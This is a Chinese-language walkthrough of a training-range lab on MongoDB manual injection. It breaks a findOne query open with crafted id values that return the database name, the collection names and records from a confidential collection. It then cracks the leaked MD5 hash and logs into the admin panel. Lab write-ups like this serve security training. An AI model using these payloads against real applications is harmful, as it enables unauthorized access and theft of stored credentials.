MongoDB靶场(手工注入)攻略

MongoDB 是⼀个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案

MongoDB 是⼀个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最富,最像关系数据库的。MongoDB 将数据存储为⼀个文档,数据结构由键值(key=>value)对组成

靶场地址:SQL手工注入漏洞测试(MongoDB数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

第一步:

给出的源码...可以看到数据库查询的语句如下..构造回显测试..

复制代码
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 "({'" 来构造payload 因为返回的数据是$obj['retval']['title']与$obj['retval']['content'],可以尝试return({title:'1',content:'2'})来构造回显测试
id=1'});return({title:'1',content:'2
第二步:查询数据库库名
获取数据库名称:
复制代码
id=1'});return({title:tojson(db),content:'2
第三步:查询数据库表名
复制代码
id=1'});return({title:tojson(db.getCollectionNames()),content:'2
第四步:查询数据库字段值
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
第五步:cmd5解密

地址:md5在线解密破解,md5解密加密

第六步:登录后台

KEY:mozhe82a

相关推荐
YDS82912 小时前
MyBatis-Plus —— 扩展功能详解
数据库·mybatis
zzz大王13 小时前
sql 50 题 21-25
数据库·sql
线程A13 小时前
Python中 session flush 和 commit 的区别
数据库·python·oracle
博语小屋15 小时前
实现简单日志
linux·服务器·数据库·c++
程序员小白条21 小时前
0经验如何找实习?
java·开发语言·数据结构·数据库·链表
liulilittle21 小时前
C++ 浮点数封装。
linux·服务器·开发语言·前端·网络·数据库·c++
郭涤生21 小时前
QT 架构笔记
java·数据库·系统架构
韩立学长21 小时前
基于Springboot流浪动物领养网站0kh2iyb4(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
DBA小马哥21 小时前
Oracle迁移到金仓数据库:完整迁移步骤与兼容性优化实战
数据库·oracle·国产化平替
@nengdoudou1 天前
KStudio 客户端无法访问 KES 数据库服务器的指定 IP / 端口
数据库